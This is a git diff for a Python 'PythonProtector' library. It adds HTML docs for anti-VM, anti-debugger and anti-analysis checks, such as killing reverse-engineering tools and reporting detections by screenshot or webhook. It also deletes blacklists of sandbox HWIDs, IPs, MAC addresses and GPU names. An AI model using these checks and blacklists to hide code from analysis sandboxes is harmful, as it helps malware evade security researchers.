
+

Methods

+

CheckLists

+

Check Blacklisted Lists To Compare Data like HWID, IP, PC_NAME, etc.

+

CheckVirtualEnv

+

Checks if self._get_base_prefix_compat() != sys.prefix

+

CheckRegistry

+

Checks Registry For VMWare Software

+

CheckMacAddress

+

Checks Current Mac Address For VMWare Mac Addresses

+

CheckScreenSize

+

Checks If The Current Screen Size x or y is below 200

+

CheckProcessesAndFiles

+

Check For Blacklisted Virtual Machine Processes

+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/configuration/Modules/Miscellaneous/events/index.html b/configuration/Modules/Miscellaneous/events/index.html new file mode 100755 index 0000000..56b9bdb --- /dev/null +++ b/configuration/Modules/Miscellaneous/events/index.html @@ -0,0 +1,1131 @@ + + + + + + + + + + + + + + + + + + + + + + + + Event Reference - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Event Reference

+ +

Miscellaneous

+
is_debugger_present()
+
+

Called When IsDebuggerPresent Returns True

+
check_remote_debugger_present()
+
+

Called When CheckRemoteDebuggerPresent Returns True

+
output_debug_string()
+
+

Called When OutputDebugString != 0

+
ram_check(ram: int)
+
+

Called When RAM Check Failed

+
cpu_count()
+
+

Called When CPU Core Count Is Less Than OR Equal To 1

+
Parameters
+
    +
  • memory (int) - Current RAM
  • +
+
disk_size_check(disk_size: int)
+
+

Called When Disk Size Check Failed

+
Parameters
+
    +
  • disk_size (int) - Current Disk Size
  • +
+
blacklisted_path(path: str)
+
+

Called When Blacklisted Path Found

+
    +
  • path (str) - Blacklisted Path
  • +
+
blacklisted_import(package: str, dist: Distribution)
+
+

Called When Blacklisted Import Found

+
Parameters
+
    +
  • package (str) - Name Of Package
  • +
  • dist (Distribution) - Distribution Object
  • +
+
ip_check(ip: str)
+
+

Called When Blacklisted IP Found

+
Parameters
+
    +
  • ip (str) - Blacklisted IP
  • +
+
proxy_headers(header: str)
+
+

Called When Proxy Headers Found

+
Parameters
+
    +
  • header (str) - Proxy Header
  • +
+
proxy_ip(ip: str)
+
+

Called When Proxy IP Found

+
Parameters
+
    +
  • ip (str) - Proxy IP
  • +
+
tor_network()
+
+

Called When A Tor Network Is Found In Use

+
transparent_proxies()
+
+

Called When Transparent Proxies Detected

+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/configuration/Modules/Miscellaneous/index.html b/configuration/Modules/Miscellaneous/index.html new file mode 100755 index 0000000..bb5895e --- /dev/null +++ b/configuration/Modules/Miscellaneous/index.html @@ -0,0 +1,1161 @@ + + + + + + + + + + + + + + + + + + + + + + + + Method Reference - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Miscellaneous

+

Methods

+

CheckInternet

+

Checks For A Valid Internet Connection

+

CheckRAM

+

Checks If RAM is below 4GB

+

CheckIsDebuggerPresent

+

Checks Both IsDebuggerPresent and CheckRemoteDebuggerPresent

+

CheckDiskSize

+

Checks If Disk Size Is Less Than Minimum

+

KillTasks

+

Kills Common Reverse Engineering Tasks

+

CheckPaths

+

Checks PC Paths For Blacklisted Paths

+

CheckImports

+

Checks Python Imports Installed

+

CheckOutPutDebugString

+

Checks if OutputDebugString Not Equal To 0

+

CheckIPs

+

Duplicate of Anti VM's CheckLists But IP Specific

+

CheckCPUCores

+

Check If The Current CPU Core Count Is Less Than Or Equal Too 1

+

IsUsingProxy

+

Checks If Proxy Headers, Proxy IP's or A Tor Network Is Detected

+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/configuration/PythonProtector/index.html b/configuration/PythonProtector/index.html new file mode 100755 index 0000000..5206ac7 --- /dev/null +++ b/configuration/PythonProtector/index.html @@ -0,0 +1,1349 @@ + + + + + + + + + + + + + + + + + + + + + + + + PythonProtector - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Python Protector

+
class PythonProtector:
+    def __init__(
+        self,
+        debug: Optional[bool],
+        modules: Set[str],
+        logs_path: Optional[Union[Path, str]],
+        webhook_url: Optional[str],
+        on_detect: Optional[Set[str]],
+    ) -> None:
+
+

Arguments

+
    +
  • debug (bool) - Whether Or Not PythonProtector Should Log Actions.
  • +
  • modules (Set[str]) - List Of Modules You Would Like To Enable.
  • +
  • logs_path (Union[Path, str]) - Path For PythonProtector Logs.
  • +
  • webhook_url (str) - Webhook URL For Reporting Remotely.
  • +
  • on_detect (Set[str], optional) - List of Things PyProtector Does When Detections Are Caused
  • +
+

Raises

+
    +
  • ModulesNotValid - Raises If Modules Are Not Valid
  • +
  • DetectionsNotValid - Raises If on_detect parameters are invalid
  • +
  • LogsPathEmpty - Raises If Debug Is Enabled But No Logs Path Are Provided
  • +
+

Methods

+

start

+

Main Function Of PythonProtector, Initializes Everything.

+
Raises
+
    +
  • DeprecationWarning - If Python Version < 3.11
  • +
+

Properties

+

version

+

Returns The Current PythonProtector Version

+
Type
+

str

+

user

+

Returns a Tuple of User Information

+
Type
+

tuple

+

ip

+

Returns The Current Users IP

+
Type
+

str

+

computer

+

Returns The Current Users WMI Computer Object

+
Type
+

typing.Any

+

Extra Notes

+

List of Valid Modules:

+
Modules: Final[Set[str]] = {
+    "Miscellaneous",
+    "AntiProcess",
+    "AntiDLL",
+    "AntiVM",
+    "AntiAnalysis",
+    }
+
+

List of Valid Detections:

+
Detections: Final[Set[str]] = {"Screenshot", "Exit", "Report"}
+
+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/data/gpu_list.txt b/data/gpu_list.txt deleted file mode 100644 index f11ddc0..0000000 --- a/data/gpu_list.txt +++ /dev/null @@ -1,81 +0,0 @@ -29__HERE -2RO_8UVU -5KBK41_L -5LXPA8ES -5PECN6L1 -5RPFT3HZ -6BOS4O7U -6BZP2Y2_ -7229H9G9 -7TB9G6P7 -84KD1KSK -8NYGK3FL -8Y3BSXKG -9SF72FG7 -9Z77DN4T -AMD Radeon HD 8650G -ASPEED Graphics Family(WDDM) -BDMD4C14 -CSUZOOXW -CWTM14GS -D6XUO1XB -DE92L2UN -DFXWTBCX -ET1BXXAK -F1K792VR -H1_SDVLF -HKWURZU9 -HP8WD3MX -H_EDEUEK -Intel(R) HD Graphics 4600 -Intel(R) UHD Graphics -K9SC88UK -KBBFOHZN -KOD68ZH1 -KW5PTYKC -LD8LLLOD -M5RGU9RY -MDF5Z6ZO -Microsoft Basic Display Adapter -Microsoft Hyper-V Video -Microsoft Remote Display Adapter -MKVW6M6X -MTSUP2DX -MYNP2R7E -NVIDIA GeForce 840M -NVIDIA GeForce 9400M -NVIDIA GeForce 9500 GT (Microsoft Corporation - WDDM v1.1) -O597EOTS -OEFUG1_W -OOUT3ENP -OYVM_U6G -P9T_AU3X -PC1ESCG3 -R69XK_H3 -Radeon (TM) RX 580 Graphics -Standard VGA Graphics Adapter -UKBEHH_S -Virtual Desktop Monitor -VirtualBox Graphics Adapter -VirtualBox Graphics Adapter (WDDM) -VMware SVGA 3D -VO5V631D -W1TO6L3T -W29FK1O1 -X4R9RZ5L -XMX85CAL -YANBV9OY -YNVLCUKZ -YVK4794D -Z2P8CT__ -ZN_TF2UZ -ZP62XCAP -_G31E46N -_PHLNYGR -_T9W5LHO -Стандартный VGA графический адаптер -6F44ADR7 -VM64TTFX -WKMZ6LN2 -2SN538K4 -2G6C7Z61 \ No newline at end of file diff --git a/data/hwid_list.txt b/data/hwid_list.txt deleted file mode 100644 index 682b24b..0000000 --- a/data/hwid_list.txt +++ /dev/null @@ -1,245 +0,0 @@ -00000000-0000-0000-0000-000000000000 -00000000-0000-0000-0000-50E5493391EF -00000000-0000-0000-0000-AC1F6BD047A0 -00000000-0000-0000-0000-AC1F6BD04850 -00000000-0000-0000-0000-AC1F6BD048D6 -00000000-0000-0000-0000-AC1F6BD048DC -00000000-0000-0000-0000-AC1F6BD048F8 -00000000-0000-0000-0000-AC1F6BD048FE -00000000-0000-0000-0000-AC1F6BD04900 -00000000-0000-0000-0000-AC1F6BD0491C -00000000-0000-0000-0000-AC1F6BD04926 -00000000-0000-0000-0000-AC1F6BD04928 -00000000-0000-0000-0000-AC1F6BD04972 -00000000-0000-0000-0000-AC1F6BD04976 -00000000-0000-0000-0000-AC1F6BD04978 -00000000-0000-0000-0000-AC1F6BD04986 -00000000-0000-0000-0000-AC1F6BD049B8 -00000000-0000-0000-0000-AC1F6BD04C0A -00000000-0000-0000-0000-AC1F6BD04D06 -00000000-0000-0000-0000-AC1F6BD04D08 -00000000-0000-0000-0000-AC1F6BD04D8E -00000000-0000-0000-0000-AC1F6BD04D98 -00000000-0000-0000-0000-AC1F6BD04DC0 -00000000-0000-0000-0000-AC1F6BD04DCC -02AD9898-FA37-11EB-AC55-1D0C0A67EA8A -032E02B4-0499-05C3-0806-3C0700080009 -03AA02FC-0414-0507-BC06-D70700080009 -03D40274-0435-05BF-D906-D20700080009 -03DE0294-0480-05DE-1A06-350700080009 -050C3342-FADD-AEDF-EF24-C6454E1A73C9 -05790C00-3B21-11EA-8000-3CECEF4400D0 -0700BEF3-1410-4284-81B1-E5C17FA9E18F -07AF2042-392C-229F-8491-455123CC85FB -07E42E42-F43D-3E1C-1C6B-9C7AC120F3B9 -08C1E400-3C56-11EA-8000-3CECEF43FEDE -0910CBA3-B396-476B-A7D7-716DB90F5FB9 -0934E336-72E4-4E6A-B3E5-383BD8E938C3 -0A36B1E3-1F6B-47DE-8D72-D4F46927F13F -0A9D60D4-9A32-4317-B7C0-B11B5C677335 -0D748400-3B00-11EA-8000-3CECEF44007E -0F377508-5106-45F4-A0D6-E8352F51A8A5 -104F9B96-5B46-4567-BF56-0066C1C6F7F0 -11111111-2222-3333-4444-555555555555 -119602E8-92F9-BD4B-8979-DA682276D385 -12204D56-28C0-AB03-51B7-44A8B7525250 -12EE3342-87A2-32DE-A390-4C2DA4D512E9 -138D921D-680F-4145-BDFF-EC463E70C77D -13A61742-AF45-EFE4-70F4-05EF50767784 -14692042-A78B-9563-D59D-EB7DD2639037 -1AAD2042-66E8-C06A-2F81-A6A4A6A99093 -1B5D3FFD-A28E-4F11-9CD6-FF148989548C -1D4D3342-D6C4-710C-98A3-9CC6571234D5 -213D2878-0E33-4D8C-B0D1-31425B9DE674 -222EFE91-EAE3-49F1-8E8D-EBAE067F801A -26645000-3B67-11EA-8000-3CECEF440124 -2AB86800-3C50-11EA-8000-3CECEF440130 -2C5C2E42-E7B1-4D75-3EA3-A325353CDB72 -2CEA2042-9B9B-FAC1-44D8-159FE611FCCC -2DD1B176-C043-49A4-830F-C623FFB88F3C -2E6FB594-9D55-4424-8E74-CE25A25E36B0 -2F94221A-9D07-40D9-8C98-87CB5BFC3549 -2FBC3342-6152-674F-08E4-227A81CBD5F5 -34419E14-4019-11EB-9A22-6C4AB634B69A -361E3342-9FAD-AC1C-F1AD-02E97892270F -365B4000-3B25-11EA-8000-3CECEF44010C -38813342-D7D0-DFC8-C56F-7FC9DFE5C972 -38AB3342-66B0-7175-0B23-F390B3728B78 -3A9F3342-D1F2-DF37-68AE-C10F60BFB462 -3EDC0561-C455-4D64-B176-3CFBBBF3FA47 -3F284CA4-8BDF-489B-A273-41B44D668F6D -3F3C58D1-B4F2-4019-B2A2-2A500E96AF2E -3FADD8D6-3754-47C4-9BFF-0E35553DD5FB -40384E87-1FBA-4096-9EA1-D110F0EA92A8 -40F100F9-401C-487D-8D37-48107C6CE1D3 -418F0D5B-FCB6-41F5-BDA5-94C1AFB240ED -41B73342-8EA1-E6BF-ECB0-4BC8768D86E9 -42A82042-3F13-512F-5E3D-6BF4FFFD8518 -44B94D56-65AB-DC02-86A0-98143A7423BF -4729AEB0-FC07-11E3-9673-CE39E79C8A00 -481E2042-A1AF-D390-CE06-A8F783B1E76A -48941AE9-D52F-11DF-BBDA-503734826431 -49434D53-0200-9036-2500-369025000C65 -49434D53-0200-9036-2500-369025003865 -49434D53-0200-9036-2500-369025003A65 -49434D53-0200-9036-2500-369025003AF0 -49434D53-0200-9036-2500-369025005CF0 -49434D53-0200-9036-2500-36902500F022 -49434D53-0200-9065-2500-659025002274 -49434D53-0200-9065-2500-659025005073 -49434D53-0200-9065-2500-659025008074 -49434D53-0200-9065-2500-65902500E439 -499B0800-3C18-11EA-8000-3CECEF43FEA4 -4C4C4544-0050-3710-8058-CAC04F59344A -4CB82042-BA8F-1748-C941-363C391CA7F3 -4CE94980-D7DA-11DD-A621-08606E889D9B -4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27 -4DC32042-E601-F329-21C1-03F27564FD6C -4EDF3342-E7A2-5776-4AE5-57531F471D56 -51646514-93E1-4CB6-AF29-036B45D14CBF -52A1C000-3BAB-11EA-8000-3CECEF440204 -56B9F600-3C1C-11EA-8000-3CECEF4401DE -59C68035-4B21-43E8-A6A6-BD734C0EE699 -5BD24D56-789F-8468-7CDC-CAA7222CC121 -5C1CA40D-EF14-4DF8-9597-6C0B6355D0D6 -5CC7016D-76AB-492D-B178-44C12B1B3C73 -5E3E7FE0-2636-4CB7-84F5-8D2650FFEC0E -5E573342-6093-4F2D-5F78-F51B9822B388 -5EBC5C00-3B70-11EA-8000-3CECEF4401DA -5EBD2E42-1DB8-78A6-0EC3-031B661D5C57 -60C83342-0A97-928D-7316-5F1080A78E72 -612F079A-D69B-47EA-B7FF-13839CD17404 -63203342-0EB0-AA1A-4DF5-3FB37DBB0670 -63DE70B4-1905-48F2-8CC4-F7C13B578B34 -63FA3342-31C7-4E8E-8089-DAFF6CE5E967 -64176F5E-8F74-412F-B3CF-917EFA5FB9DB -6608003F-ECE4-494E-B07E-1C4615D1D93C -66729280-2B0C-4BD0-8131-950D86871E54 -66CC1742-AAC7-E368-C8AE-9EEB22BD9F3B -671BC5F7-4B0F-FF43-B923-8B1645581DC8 -67442042-0F69-367D-1B2E-1EE846020090 -67C5A563-3218-4718-8251-F38E3F6A89C1 -67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3 -686D4936-87C1-4EBD-BEB7-B3D92ECA4E28 -6881083C-EE5A-43E7-B7E3-A0CE9227839C -69AEA650-3AE3-455C-9F80-51159BAE5EAE -6A669639-4BD2-47E5-BE03-9CBAFC9EF9B3 -6AA13342-49AB-DC46-4F28-D7BDDCE6BE32 -6ECEAF72-3548-476C-BD8D-73134A9182C8 -6F3CA5EC-BEC9-4A4D-8274-11168F640058 -71522042-DA0B-6793-668B-CE95AEA7FE21 -72492D47-52EF-427A-B623-D4F2192F97D4 -73163342-B704-86D5-519B-18E1D191335C -777D84B3-88D1-451C-93E4-D235177420A7 -782ED390-AE10-4727-A866-07018A8DED22 -79AF5279-16CF-4094-9758-F88A616D81B4 -7A484800-3B19-11EA-8000-3CECEF440122 -7AB5C494-39F5-4941-9163-47F54D6D5016 -7CA33342-A88C-7CD1-1ABB-7C0A82F488BF -7D341C16-E8E9-42EA-8779-93653D877231 -7D6A0A6D-394E-4179-9636-662A8D2C7304 -7E4755A6-7160-4982-8F5D-6AA481749F10 -80152042-2F34-11D1-441F-5FADCA01996D -83BFD600-3C27-11EA-8000-3CECEF4400B4 -844703CF-AA4E-49F3-9D5C-74B8D1F5DCB6 -84782042-E646-50A0-159F-A8E75D4F9402 -84FE3342-6C67-5FC6-5639-9B3CA3D775A1 -84FEEFBC-805F-4C0E-AD5B-A0042999134D -8703841B-3C5E-461C-BE72-1747D651CE89 -88DC3342-12E6-7D62-B0AE-C80E578E7B07 -8B4E8278-525C-7343-B825-280AEBCD3BCB -8DA62042-8B59-B4E3-D232-38B29A10964A -8EC60B88-7F2B-42DA-B8C3-4E2EF2A8C603 -907A2A79-7116-4CB6-9FA5-E5A58C4587CD -90A83342-D7E7-7A14-FFB3-2AA345FDBC89 -91625303-5211-4AAC-9842-01A41BA60D5A -91A9EEDB-4652-4453-AC5B-8E92E68CBCF5 -921E2042-70D3-F9F1-8CBD-B398A21F89C6 -94515D88-D62B-498A-BA7C-3614B5D4307C -95BF6A00-3C63-11EA-8000-3CECEF43FEB8 -96BB3342-6335-0FA8-BA29-E1BA5D8FEFBE -9921DE3A-5C1A-DF11-9078-563412000026 -9B2F7E00-6F4C-11EA-8000-3CECEF467028 -9C6D1742-046D-BC94-ED09-C36F70CC9A91 -9FC997CA-5081-4751-BC78-CE56D06F6A62 -A100EFD7-4A31-458F-B7FE-2EF95162B32F -A15A930C-8251-9645-AF63-E45AD728C20C -A19323DA-80B2-48C9-9F8F-B21D08C3FE07 -A1A849F7-0D57-4AD3-9073-C79D274EECC8 -A2339E80-BB69-4BF5-84BC-E9BE9D574A65 -A5CE2042-8D25-24C4-71F7-F56309D7D45F -A6A21742-8023-CED9-EA8D-8F0BC4B35DEA -A7721742-BE24-8A1C-B859-D7F8251A83D3 -A9C83342-4800-0578-1EE8-BA26D2A678D2 -AAFC2042-4721-4E22-F795-A60296CAC029 -ACA69200-3C4C-11EA-8000-3CECEF4401AA -ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548 -AF1B2042-4B90-0000-A4E4-632A1C8C7EB1 -B1112042-52E8-E25B-3655-6A4F54155DBF -B22B623B-6B62-4F9B-A9D3-94A15453CEF4 -B5B77895-D40B-4F30-A565-6EF72586A14A -B6464A2B-92C7-4B95-A2D0-E5410081B812 -B9DA2042-0D7B-F938-8E8A-DA098462AAEC -BB233342-2E01-718F-D4A1-E7F69D026428 -BB64E044-87BA-C847-BC0A-C797D1A16A50 -BE784D56-81F5-2C8D-9D4B-5AB56F05D86E -BFE62042-E4E1-0B20-6076-C5D83EDFAFCE -C0342042-AF96-18EE-C570-A5EFA8FF8890 -C249957A-AA08-4B21-933F-9271BEC63C85 -C364B4FE-F1C1-4F2D-8424-CB9BD735EF6E -C51E9A00-3BC3-11EA-8000-3CECEF440034 -C6B32042-4EC3-6FDF-C725-6F63914DA7C7 -C7D23342-A5D4-68A1-59AC-CF40F735B363 -C9283342-8499-721F-12BE-32A556C9A7A8 -CC4AB400-3C66-11EA-8000-3CECEF43FE56 -CC5B3F62-2A04-4D2E-A46C-AA41B7050712 -CD74107E-444E-11EB-BA3A-E3FDD4B29537 -CE352E42-9339-8484-293A-BD50CDC639A5 -CEFC836C-8CB1-45A6-ADD7-209085EE2A57 -CF1BE00F-4AAF-455E-8DCD-B5B09B6BFA8F -D2DC3342-396C-6737-A8F6-0C6673C1DE08 -D4260370-C9F1-4195-95A8-585611AE73F2 -D4C44C15-4BAE-469B-B8FD-86E5C7EB89AB -D5DD3342-46B5-298A-2E81-5CA6867168BE -D7382042-00A0-A6F0-1E51-FD1BBF06CD71 -D7958D98-A51E-4B34-8C51-547A6C2E6615 -D8C30328-1B06-4611-8E3C-E433F4F9794E -D9142042-8F51-5EFF-D5F8-EE9AE3D1602A -DBC22E42-59F7-1329-D9F2-E78A2EE5BD0D -DBCC3514-FA57-477D-9D1F-1CAF4CC92D0F -DD45F600-3C63-11EA-8000-3CECEF440156 -DD9C3342-FB80-9A31-EB04-5794E5AE2B4C -DEAEB8CE-A573-9F48-BD40-62ED6C223F20 -E08DE9AA-C704-4261-B32D-57B2A3993518 -E0C806ED-B25A-4744-AD7D-59771187122E -E1BA2E42-EFB1-CDFD-7A84-8A39F747E0C5 -E2342042-A1F8-3DCF-0182-0E63D607BCC7 -E3BB3342-02A8-5613-9C92-3747616194FD -E57F6333-A2AC-4F65-B442-20E928C0A625 -E67640B3-2B34-4D7F-BD62-59A1822DDBDC -E6DBCCDF-5082-4479-B61A-6990D92ACC5F -E773CC89-EFB8-4DB6-A46E-6CCA20FE4E1A -EADD1742-4807-00A0-F92E-CCD933E9D8C1 -EB16924B-FB6D-4FA1-8666-17B91F62FB37 -F3EA4E00-3C5F-11EA-8000-3CECEF440016 -F5744000-3C78-11EA-8000-3CECEF43FEFE -F5BB1742-D36D-A11E-6580-2EA2427B0038 -F5EFEEAC-96A0-11EB-8365-FAFE299935A9 -F68B2042-E3A7-2ADA-ADBC-A6274307A317 -F705420F-0BB3-4688-B75C-6CD1352CABA9 -F91C9458-6656-4E83-B84A-13641DE92949 -F9E41000-3B35-11EA-8000-3CECEF440150 -FA612E42-DC79-4F91-CA17-1538AD635C95 -FA8C2042-205D-13B0-FCB5-C5CC55577A35 -FBC62042-5DE9-16AD-3F27-F818E5F68DD3 -FC40ACF8-DD97-4590-B605-83B595B0C4BA -FCE23342-91F1-EAFC-BA97-5AAE4509E173 -FE455D1A-BE27-4BA4-96C8-967A6D3A9661 -FED63342-E0D6-C669-D53F-253D696D74DA -FF577B79-782E-0A4D-8568-B35A9B7EB76B -9CFF2042-2043-0340-4F9C-4BAE6DC5BB39 -D7AC2042-05F8-0037-54A6-38387D00B767 -52562042-B33F-C9D3-0149-241F40A0F5D8 -3E9AC505-812A-456F-A9E6-C7426582500E -11E12042-2404-040A-31E4-27374099F748 -6E963342-B9C8-2D14-B057-C60C35722AD4 \ No newline at end of file diff --git a/data/ip_list.txt b/data/ip_list.txt deleted file mode 100644 index 9913ffc..0000000 --- a/data/ip_list.txt +++ /dev/null @@ -1,149 +0,0 @@ -10.200.169.204 -104.198.155.173 -109.145.173.169 -109.226.37.172 -109.74.154.90 -109.74.154.91 -109.74.154.92 -154.61.71.50 -154.61.71.51 -174.7.32.199 -176.63.4.179 -178.239.165.70 -188.105.165.80 -188.105.71.44 -188.105.91.116 -188.105.91.143 -188.105.91.173 -192.211.110.74 -192.40.57.234 -192.87.28.103 -193.128.114.45 -193.225.193.201 -194.154.78.152 -194.154.78.160 -194.154.78.210 -194.154.78.227 -194.154.78.230 -194.154.78.77 -194.186.142.178 -194.186.142.204 -195.181.175.103 -195.181.175.105 -195.239.51.3 -195.239.51.46 -195.239.51.59 -195.239.51.65 -195.239.51.80 -195.68.142.3 -195.74.76.222 -20.99.160.173 -204.101.161.31 -204.101.161.32 -207.102.138.83 -207.102.138.93 -208.78.41.115 -212.119.227.151 -212.119.227.167 -212.119.227.179 -212.119.227.184 -212.41.6.23 -213.33.142.50 -213.33.190.118 -213.33.190.171 -213.33.190.22 -213.33.190.227 -213.33.190.35 -213.33.190.46 -213.33.190.74 -23.128.248.46 -34.105.0.27 -34.105.183.68 -34.105.72.241 -34.138.96.23 -34.141.146.114 -34.141.245.25 -34.142.74.220 -34.145.195.58 -34.145.89.174 -34.253.248.228 -34.83.46.130 -34.85.243.241 -34.85.253.170 -35.192.93.107 -35.199.6.13 -35.229.69.227 -35.237.47.12 -45.8.148.171 -64.124.12.162 -67.218.111.202 -78.139.8.50 -79.104.209.109 -79.104.209.231 -79.104.209.24 -79.104.209.249 -79.104.209.33 -79.104.209.66 -80.211.0.97 -84.147.54.113 -84.147.54.61 -84.147.56.249 -84.147.60.41 -84.147.60.52 -84.147.61.28 -84.147.62.12 -84.147.63.171 -84.147.63.236 -87.166.48.65 -87.166.50.1 -87.166.50.213 -87.166.51.209 -88.132.225.100 -88.132.226.203 -88.132.227.238 -88.132.231.71 -88.153.199.169 -88.64.35.141 -88.66.107.75 -88.67.131.90 -88.86.117.130 -89.208.29.106 -89.208.29.140 -89.208.29.149 -89.208.29.64 -92.211.109.160 -92.211.192.144 -92.211.52.62 -92.211.55.199 -93.216.75.209 -95.25.204.90 -95.25.71.12 -95.25.71.5 -95.25.71.64 -95.25.71.70 -95.25.71.86 -95.25.71.89 -95.25.81.24 -84.57.200.69 -194.154.78.179 -213.33.190.242 -89.208.29.95 -95.25.71.65 -194.186.142.246 -213.33.190.42 -89.208.29.96 -89.208.29.97 -195.68.142.20 -79.104.209.221 -95.25.71.80 -194.186.142.180 -195.239.51.42 -79.104.209.172 -194.186.142.195 -194.154.78.91 -89.208.29.98 -95.25.71.92 -212.119.227.136 -95.25.71.112 -88.64.36.101 -213.33.190.109 \ No newline at end of file diff --git a/data/mac_list.txt b/data/mac_list.txt deleted file mode 100644 index c18177f..0000000 --- a/data/mac_list.txt +++ /dev/null @@ -1,388 +0,0 @@ -00:03:47:1a:f1:f1 -00:03:47:20:57:7a -00:03:47:5d:92:c5 -00:03:47:63:8b:de -00:03:47:8d:a9:5d -00:0c:29:05:d8:6e -00:0c:29:2c:c1:21 -00:0c:29:52:52:50 -00:0d:3a:d2:4f:1f -00:15:5d:00:00:1d -00:15:5d:00:00:a4 -00:15:5d:00:00:b3 -00:15:5d:00:00:c3 -00:15:5d:00:00:f3 -00:15:5d:00:01:81 -00:15:5d:00:02:26 -00:15:5d:00:05:8d -00:15:5d:00:05:d5 -00:15:5d:00:06:43 -00:15:5d:00:07:34 -00:15:5d:00:1a:b9 -00:15:5d:00:1c:9a -00:15:5d:00:26:02 -00:15:5d:13:66:ca -00:15:5d:13:6d:0c -00:15:5d:1e:01:c8 -00:15:5d:23:4c:a3 -00:15:5d:23:4c:ad -00:15:5d:b6:e0:cc -00:1b:21:13:15:20 -00:1b:21:13:21:26 -00:1b:21:13:26:44 -00:1b:21:13:32:20 -00:1b:21:13:32:51 -00:1b:21:13:33:55 -00:23:cd:ff:94:f0 -00:25:90:36:65:0c -00:25:90:36:65:38 -00:25:90:36:65:3a -00:25:90:36:65:3b -00:25:90:36:f0:3b -00:25:90:65:39:e4 -00:50:56:97:6f:1e -00:50:56:97:a1:f8 -00:50:56:97:bd:d0 -00:50:56:97:e7:6a -00:50:56:97:ec:f2 -00:50:56:97:f6:c8 -00:50:56:a0:06:8d -00:50:56:a0:2d:30 -00:50:56:a0:38:06 -00:50:56:a0:39:18 -00:50:56:a0:45:03 -00:50:56:a0:59:10 -00:50:56:a0:61:aa -00:50:56:a0:6d:86 -00:50:56:a0:74:6c -00:50:56:a0:84:88 -00:50:56:a0:88:4c -00:50:56:a0:99:b6 -00:50:56:a0:9d:9b -00:50:56:a0:a9:54 -00:50:56:a0:aa:80 -00:50:56:a0:af:75 -00:50:56:a0:bc:9a -00:50:56:a0:c8:20 -00:50:56:a0:cd:a8 -00:50:56:a0:d0:fa -00:50:56:a0:d7:38 -00:50:56:a0:dd:00 -00:50:56:a0:f7:ff -00:50:56:a0:fb:0a -00:50:56:ae:34:c9 -00:50:56:ae:5d:ea -00:50:56:ae:64:fc -00:50:56:ae:6f:54 -00:50:56:ae:70:80 -00:50:56:ae:b2:b0 -00:50:56:ae:e5:d5 -00:50:56:b3:05:b4 -00:50:56:b3:05:e7 -00:50:56:b3:09:25 -00:50:56:b3:09:9e -00:50:56:b3:10:a9 -00:50:56:b3:14:59 -00:50:56:b3:21:29 -00:50:56:b3:38:68 -00:50:56:b3:38:88 -00:50:56:b3:3b:a6 -00:50:56:b3:42:33 -00:50:56:b3:4c:bf -00:50:56:b3:50:de -00:50:56:b3:55:58 -00:50:56:b3:70:7a -00:50:56:b3:73:78 -00:50:56:b3:79:92 -00:50:56:b3:91:c8 -00:50:56:b3:94:cb -00:50:56:b3:9e:9e -00:50:56:b3:a5:6f -00:50:56:b3:a9:36 -00:50:56:b3:c5:4d -00:50:56:b3:d0:a7 -00:50:56:b3:dd:03 -00:50:56:b3:ea:ee -00:50:56:b3:ee:e1 -00:50:56:b3:f6:57 -00:50:56:b3:fa:23 -00:90:0b:c8:39:23 -00:90:0b:c8:39:2a -00:90:0b:c8:39:3c -00:90:0b:c8:39:3d -00:90:0b:c8:39:4d -00:e0:4c:06:6b:2c -00:e0:4c:13:f6:ef -00:e0:4c:20:57:30 -00:e0:4c:2f:16:3f -00:e0:4c:33:b1:a9 -00:e0:4c:39:76:1e -00:e0:4c:3f:0b:76 -00:e0:4c:42:c7:cb -00:e0:4c:44:76:54 -00:e0:4c:46:04:ea -00:e0:4c:46:cf:01 -00:e0:4c:48:ed:10 -00:e0:4c:4b:4a:40 -00:e0:4c:4b:ef:a1 -00:e0:4c:4e:9f:d4 -00:e0:4c:51:e5:58 -00:e0:4c:56:42:97 -00:e0:4c:57:c2:e3 -00:e0:4c:59:08:ad -00:e0:4c:59:47:48 -00:e0:4c:60:fa:71 -00:e0:4c:6c:0a:56 -00:e0:4c:7b:7b:86 -00:e0:4c:7e:11:ce -00:e0:4c:82:08:94 -00:e0:4c:82:7f:0a -00:e0:4c:89:42:fe -00:e0:4c:8e:2f:28 -00:e0:4c:94:1f:20 -00:e0:4c:a2:b2:bd -00:e0:4c:ae:19:37 -00:e0:4c:b0:2f:67 -00:e0:4c:b3:5a:2a -00:e0:4c:b8:7a:58 -00:e0:4c:b9:c4:3f -00:e0:4c:c0:65:2c -00:e0:4c:c4:08:2e -00:e0:4c:c7:ca:f1 -00:e0:4c:c8:aa:d7 -00:e0:4c:c9:2a:08 -00:e0:4c:cb:62:08 -00:e0:4c:d1:56:de -00:e0:4c:d6:86:77 -00:e0:4c:da:bf:6e -00:e0:4c:e3:3e:b2 -00:e0:4c:e7:c7:bf -00:e0:4c:ee:5f:08 -00:e0:4c:f3:81:1c -00:e0:4c:f4:eb:63 -00:e0:4c:f7:30:a5 -00:e0:4c:fb:45:fc -02:86:39:58:1f:75 -06:75:91:59:3e:02 -06:ab:f8:36:4f:cb -06:ea:15:e5:16:b4 -08:00:27:20:4c:1a 